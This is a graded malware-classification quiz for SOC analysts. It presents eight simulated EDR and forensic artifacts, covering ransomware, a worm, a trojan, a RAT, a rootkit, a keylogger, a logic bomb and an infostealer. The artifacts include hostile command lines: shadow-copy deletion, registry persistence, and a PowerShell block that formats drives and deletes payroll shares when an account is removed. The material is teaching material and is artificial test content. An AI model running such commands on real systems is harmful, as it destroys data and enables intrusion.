Malware Identification from Evidence
Scenario: You are a SOC analyst triaging a batch of endpoint and EDR
alerts. Eight items have been escalated for classification. For each artifact, identify
the specific malware type it most precisely describes. Read the
indicators carefully — the evidence points to one type, not several.
Instructions: Use the dropdown on each card to classify the malware type.
When all 8 are answered, click Submit for Grading.
All 8 must be correct to pass and earn completion credit.
Evidence Items
ITEM 01
Endpoint EDR Alert — workstation FIN-07
EDR ALERT [27/Jun/2026 02:14:08] Severity: CRITICAL
Host : FIN-07 (10.0.8.45)
User : jmitchell
-- File Rename Storm (02:13:51 - 02:14:06, 15 seconds) --
C:\Users\jmitchell\Documents\Q2_Budget.xlsx → Q2_Budget.xlsx.lockbit
C:\Users\jmitchell\Documents\Payroll_May.xlsx → Payroll_May.xlsx.lockbit
C:\Users\jmitchell\Desktop\Contracts\SVC_Agreement.docx → SVC_Agreement.docx.lockbit
... (847 additional files renamed with .lockbit extension in 15 seconds) ...
-- Dropped files --
C:\Users\jmitchell\Desktop\README_RESTORE.txt
C:\Users\Public\README_RESTORE.txt
C:\Users\jmitchell\Documents\README_RESTORE.txt
[Contents]: "Your files are encrypted. Send 0.8 BTC to bc1qxy2kgdygjr..."
-- Command history (cmd.exe, 02:13:49) --
vssadmin delete shadows /all /quiet
wbadmin delete catalog -quiet
-- Network --
Outbound HTTPS to 185.220.101.88 (TOR exit node) 02:14:02 [key exfiltration suspected]
ITEM 02
Perimeter IDS + Flow — host 10.0.3.21
IDS ALERT Snort rule 2000544 [27/Jun/2026 03:22:10 - 03:22:17]
Source : 10.0.3.21 (internal workstation, SALES VLAN)
Protocol : TCP/445 (SMB)
-- Scan fan-out (7-second window) --
10.0.3.21:50811 → 10.0.3.1:445 SYN 03:22:10
10.0.3.21:50812 → 10.0.3.2:445 SYN 03:22:10
10.0.3.21:50813 → 10.0.3.3:445 SYN 03:22:10
... (253 unique internal IPs probed on TCP/445 within 7 seconds) ...
-- Exploit signatures matched --
ET EXPLOIT EternalBlue MS17-010 SMB Echo Request
ET EXPLOIT EternalBlue MS17-010 SMB DoublePulsar Backdoor Install
-- Infection spread (Threat Intel correlation) --
Hosts now reporting SAME malware hash (SHA256: a94c3e2f...d8b1): 40
No user interaction logged on any of the 40 new hosts (no email open, no USB, no download)
Infection vector: SMB exploit only — host-to-host lateral movement
ITEM 03
Download + Install Log — laptop MKT-12
BROWSER DOWNLOAD LOG MKT-12 [27/Jun/2026 10:05:33]
File : Updater_Setup.exe
Source : hxxps://torrent-galaxy[.]to/files/Updater_Setup.exe
Hash : SHA256 e3b8c4...9f21 (VirusTotal: 31/72 detections)
-- Authenticode signature --
Publisher : UNSIGNED (no valid code-signing certificate)
SmartScreen: WARN — Unknown publisher
-- Installer behavior (EDR process monitor, 10:05:51) --
[VISIBLE] Updater_Setup.exe installs "QuickPDF Converter v3.1" → fully functional utility launched
[HIDDEN] Updater_Setup.exe ALSO executes (silently, no UI):
cmd.exe /c copy "%TEMP%\svc32.dll" "%WINDIR%\System32\svc32.dll"
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinSvc32 /t REG_SZ /d "%WINDIR%\System32\svc32.dll"
rundll32.exe svc32.dll,InstallBackdoor
-- Post-install network (10:05:55) --
One outbound connection to 185.176.220.44:8080 immediately after install
No further C2 beaconing observed (single-shot payload drop, not a persistent C2 loop)
ITEM 04
Network Connections + Operator Log — HR-04
NETSTAT HR-04 [27/Jun/2026 11:30:00]
Proto Local Address Foreign Address State
TCP 10.0.5.88:49152 → 185.220.193.17:443 ESTABLISHED (C2 server, AS49453)
TCP 10.0.5.88:49152 → 185.220.193.17:443 ESTABLISHED [beacon interval: ~45 seconds]
-- Process --
PID 3912 helper32.exe Parent: svchost.exe
Scheduled task: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\...\Helper32 (persistence)
-- Attacker operator command log (captured by EDR, 11:28:41 - 11:30:03) --
[11:28:41] screenshot → C:\Users\dlee\AppData\Local\Temp\sc_112841.png [sent to C2]
[11:28:55] keylog_start → hook installed, output: kl_112855.log
[11:29:12] webcam_on → frame capture started
[11:29:44] download C:\Users\dlee\Documents\HR_SalaryBands_2026.xlsx → [sent to C2]
[11:30:01] shell cmd.exe → interactive shell opened by remote operator
ITEM 05
Forensic Triage — server APP-02
LIVE TRIAGE APP-02 (Windows Server 2022) [27/Jun/2026 14:05:00]
-- tasklist (running on live OS) --
Image Name PID Session Mem Usage
System 4 Services 1,796 K
svchost.exe 812 Services 18,204 K
...
[ no suspicious processes visible ]
-- Volatility 3 memory analysis (same host, 14:06:10) --
vol.py -f APP02_mem.raw windows.pslist
PID 6104 krn_mon64.sys [NOT visible in live tasklist]
vol.py -f APP02_mem.raw windows.ssdt
SSDT hook detected: NtQuerySystemInformation → krn_mon64.sys+0x1f40
SSDT hook detected: NtQueryDirectoryFile → krn_mon64.sys+0x2210
(hooks intercept OS queries and filter results — hides processes and files)
-- Offline disk mount (analyst workstation) --
File hidden from live OS : C:\Windows\System32\krn_mon64.sys (488 KB)
Same file visible offline : PRESENT (file exists on disk but OS APIs return nothing)
AV scan (live) : CLEAN
AV scan (offline): DETECTED — Rootkit.Win64.KernelMon
ITEM 06
EDR File + API Monitor — RECEPTION-01
EDR API MONITOR RECEPTION-01 [27/Jun/2026 09:00:00 - 15:00:00]
-- Suspicious API call (PID 7744, winsvc.exe, 09:04:12) --
SetWindowsHookEx(WH_KEYBOARD_LL, KbHookProc, NULL, 0)
Return: hook handle 0x00A1F3C0 [system-wide low-level keyboard hook installed]
-- Log file written by PID 7744 --
Path : %APPDATA%\Microsoft\winsvc.dat (hidden attribute set)
Size : 42 KB (grows continuously)
-- Excerpt from winsvc.dat (forensic copy) --
[14:22:04] www.bankofamerica.com[TAB][TAB]
[14:22:11] jdoe[TAB]
[14:22:18] Spr1ng2026![ENTER]
[14:31:55] internal.corp-vpn.com[TAB]
[14:32:01] jdoe@veridian.corp[TAB]
[14:32:09] V3rid!anVPN#99[ENTER]
-- Exfil --
winsvc.dat contents POSTed (base64) to 185.176.28.44/collect at 15:00:01
ITEM 07
Code Review — payroll server (insider investigation)
FORENSIC CODE REVIEW \\PAYROLL-SRV\scripts\maint_cleanup.ps1
Last modified by: rwilson (sysadmin account) 2026-05-14 23:51:08
-- Script contents --
# Maintenance cleanup — runs nightly via Task Scheduler
param([string]$Mode = "standard")
# === BEGIN INSERTED BLOCK (lines 88-99, not in version control) ===
$adUser = Get-ADUser -Filter {SamAccountName -eq "rwilson"} -ErrorAction SilentlyContinue
if ($adUser -eq $null) {
# Account rwilson no longer exists in Active Directory
Write-EventLog -LogName Application -Source "MaintCleanup" -EntryType Information -EventId 9999 -Message "Routine cleanup"
Format-Volume -DriveLetter P -FileSystem NTFS -Confirm:$false -Force # wipes \\PAYROLL-SRV\payroll (P:)
Remove-Item \\FILESERVER\payroll\* -Recurse -Force
}
# === END INSERTED BLOCK ===
# normal maintenance continues below ...
-- Additional findings --
No network C2 observed
No file encryption, no replication to other hosts
Trigger condition: rwilson AD account deletion (e.g., employee termination)
ITEM 08
EDR Behavior — SALES-09
EDR BEHAVIOR ALERT SALES-09 [27/Jun/2026 08:00:00 - 12:00:00]
Process : PID 5120 tracksvc.exe
Parent : explorer.exe (user-mode, launched at logon)
-- File access (read-only operations, no file modification) --
C:\Users\slopez\AppData\Local\Google\Chrome\User Data\Default\Login Data [SQLite, read]
C:\Users\slopez\AppData\Local\Google\Chrome\User Data\Default\Cookies [SQLite, read]
C:\Users\slopez\AppData\Roaming\Mozilla\Firefox\Profiles\...\logins.json [JSON, read]
C:\Users\slopez\AppData\Roaming\Mozilla\Firefox\Profiles\...\cookies.sqlite [SQLite, read]
-- Form/browse data harvested (parsed from SQLite reads) --
Saved credentials: 34 entries (usernames + passwords)
Saved cookies : 211 entries
Browsing history : 1,402 URLs
-- Exfiltration (HTTPS POST, encrypted) --
Destination : metrics-collect[.]xyz/api/v2/submit (08:01:14, 09:01:18, 10:01:22, 11:01:29)
Payload size: ~220 KB per POST (harvested credential + cookie data)
-- Distinguishing absence --
No file encryption observed
No ransom note dropped
No SetWindowsHookEx keyboard hook (stored credentials read directly from browser DB)
No interactive C2 operator commands
Verification
Classify all 8 evidence items correctly to earn completion credit. All 8 must be correct — partial answers do not pass.
0/8
evidence items correctly classified